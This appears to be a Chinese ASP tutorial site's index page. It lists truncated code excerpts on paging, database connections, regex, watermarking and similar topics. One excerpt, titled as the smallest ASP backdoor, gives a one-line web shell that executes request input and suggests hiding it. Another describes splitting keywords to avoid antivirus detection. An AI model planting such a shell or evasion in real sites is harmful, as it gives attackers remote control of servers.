-
asp代理收集的核心函数代码
所属栏目：[Asp教程] 日期：2023-08-21 热度：6971
Function ProxyPage(url)
Set Retrieval = CreateObject("MSXML2.ServerXMLHTTP.5.0")
With Retrieval
.SetProxy 2 , "255.0.0.0:80" '代理ip:代理端口
.Open "Get", url, False, "", ""
.setRequestHeader[详细] -
asp伪继承初探_案例代码
所属栏目：[Asp教程] 日期：2023-08-21 热度：6971
其中使用到一个分页类CPaging
复制代码 代码如下:
Class CPaging
Public RS ' RecordSet对象
Public Mark ' 指针标签
Private sSize ' 每页显示数
Private sTotal ' 总记录数
Private sPag[详细] -
ASP获得ACCESS数据库表名及结构的代码
所属栏目：[Asp教程] 日期：2023-08-21 热度：6971
ASP获取ACCESS数据库表名及结构的代码
<html>
<head>
<title>获取ACCESS数据库表名_www.Cuoxin.com</title>
</head>
<body style="text-align:left;margin-left:50px;font-family:'arial';font-size:[详细] -
定义asp 随机字符串函数
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
asp 随机字符串函数
'*************************************
'asp计算随机数
'*************************************
Function randomStr(intLength)
Dim strSeed, seedLength, pos, Str, i[详细] -
ASP新闻分页，将一篇很长的文章分页，生成静态页面
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
上次还是CSDN里的朋友回答的，我复制了下来。原文如下
===========================
利用统计文章字数，然后达到一定字数就截断输出，但是分页的内容就会在莫名其妙的地方截断，不是很友好。
很简单，在要截断[详细] -
最小asp后门软件
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
首先在asp文件中写如<%execute request("value")%>代码
如果想要隐藏，就要加入一些if判断语句，即可
然后在本地写个表单
复制代码 代码如下:
<form action=http://***.com/jb51.asp method=post>
<textarea [详细] -
Ajax+asp运用实例 注册模块，表单提交
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
<!--注册模块-->default.asp
复制代码 代码如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.[详细] -
ASP Google的translate API编码
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
直接看代码：
复制代码 代码如下:
Class GoogleTranslator
sub Class_Initialize()
RURI="http://translate.google.com/translate_t?langpair={0}&text={1}"
End Sub
Private Opt_ '
Property Get Opt[详细] -
这是thenasp提供的中文数字验证码
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
复制代码 代码如下:
<form method="post" name=myform>
姓 名：<input type="text" name="name" value=""><br>
学 号：<input type="text" name="num" value=""><br>
。。。：<[详细] -
ASP正则表达式技能
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
复制代码 代码如下:
<%
str = request("str")
reg = request("reg")
set regex = new RegExp
With regex
.Pattern = reg
.IgnoreCase = False
.Global = True
End With
Set match = regex.Execute(s[详细] -
asp被杀毒软件误删的处理法
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
这主要是因为杀毒软件将一些asp关键词当作木马特征，记录保存着，所以遇到有这个关键词，就会禁止运行或删除。解决的方法是将这些关键词给拆开。
把
复制代码 代码如下:
dim tStream
set tStream = Server.Cr[详细] -
XMLHttp ASP远程获得网页内容代码
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
复制代码 代码如下:
url="http://www.csdn.net/"
wstr=getHTTPPage(url)
start=Newstring(wstr,"资源精选<!-- 下载 -->")
over=Newstring(wstr,"<div class=""friendlink"">")
body=mid(wstr,200,500)
res[详细] -
ASP创建html的新方法
所属栏目：[Asp教程] 日期：2023-08-19 热度：7469
由于代码比较短，这里就不进行注释了
复制代码 代码如下:
<%
'当目标页面的包含文件即#include的页面里边存在response.End()的时候本程序有问题
'注意：本文件一定要放在20041227111723.htm指向的文件[详细] -
asp中的数据库连接函数代码
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
以下是SQL连接代码：
复制代码 代码如下:
Function Open_conn()
dim Conn,Strconn
set Conn=server.createobject("adodb.connection")
Strconn = "Provider = Sqloledb; User ID = 数据库登录帐号; Password [详细] -
ASP中的面向目标类
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
复制代码 代码如下:
<%
class MyClass
Dim var '公共变量必须使用Dim
Private var2'私有变量不需要
Sub sub1
response.write var2
End Sub
Private Sub sub2
response.write var
End Sub[详细] -
ASP掩盖真实文件的下载功能实现代码
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
格式：Download.asp?FileName=要下载的文件名
复制代码 代码如下:
Dim Stream
Dim Contents
Dim FileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName =[详细] -
asp 过滤尖括号内一切内容的正则代码
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
当然这应该属于正常过滤手法，而还有一种过滤HTML标签的最终极手法，则是将一对尖括号及尖括号中的所有字符均替换不显示，该方法对于内容中必须描述有关尖括号内容过滤过头了。
不过，总归是有需要将所有尖括号[详细] -
Asp函数说明(37个常用函数)第1/2页
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
Asp函数介紹(37个常用函数)第1/2页
1.函数array()
功能:创建一个数组变量
格式:array(list)
参数:list 为数组变量中的每个数值列,中间用逗号间隔
例子:
<% i = array ("1","2","3") %>
结[详细] -
ASP 千万级别数据页面分段的存储过程
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
测试语法如下：powered by Cuoxin.com
exec GetRecordFromPage news,newsid,10,100000
news 为 表名, newsid 为关键字段, 使用时请先对 newsid 建立索引。
复制代码 代码如下:
/*
函数名称: GetRecordFromPag[详细] -
asp长文章用分页符来分页展示
所属栏目：[Asp教程] 日期：2023-08-18 热度：8447
需要注意的是 [ page ]需要删除中间的空格，因为与错新站长站的后台分页重复，所以加了空格处理。
只是在文章添加时，在你想让它分页的地方加上分页符：“[ page ]”（当然这个符号你可以随便用，比如：[详细] -
ASP去掉字符串头尾连续回车与空格的Function
所属栏目：[Asp教程] 日期：2023-08-18 热度：7665
复制代码 代码如下:
'去掉字符串头尾的连续的回车和空格
function trimVBcrlf(str)
trimVBcrlf=rtrimVBcrlf(ltrimVBcrlf(str))
end function
'去掉字符串开头的连续的回车和空格
function ltrimVB[详细] -
asp xml 缓存类型
所属栏目：[Asp教程] 日期：2023-08-18 热度：7665
复制代码 代码如下:
<%
Rem xml缓存类
'--------------------------------------------------------------------
'转载的时候请保留版权信息
'作者:╰⑥月の雨╮
'版本:ver1.0
'本类部[详细] -
asp 存储过程的翻页代码第1/2页
所属栏目：[Asp教程] 日期：2023-08-18 热度：7665
存储过程采用的是select top 加 not in的方式完成，速度也算是相当快了 我测试过了百万级数据量一般查询在1秒一下，贴出来大家交流下，看有没有什么好的建议。
简单几句话就可以实现分页功能,请看代码：
最简单使用[详细] -
aspjpeg组件通用添加水印函数代码
所属栏目：[Asp教程] 日期：2023-08-17 热度：7329
aspjpeg组件实现加水印函数的调用方法：
<%printwater "/images/水印图片.gif","/uploadfile/上传图片.jpg") %>
复制代码 代码如下:
function printwater(waterpath,upfilepath)
Dim Logobox,LogoPath,ogvbox[详细] -
ASP 数据连接示例，来自于动网论坛
所属栏目：[Asp教程] 日期：2023-08-17 热度：7329
复制代码 代码如下:
<%@LANGUAGE="VBSCRIPT"%>
<%
option explicit
dim startime,endtime,conn,strCon,db
startime=timer()
Dim strSQLServerName
Dim strSQLDBUserName
Dim strSQLDBPassword
Dim strS[详细]
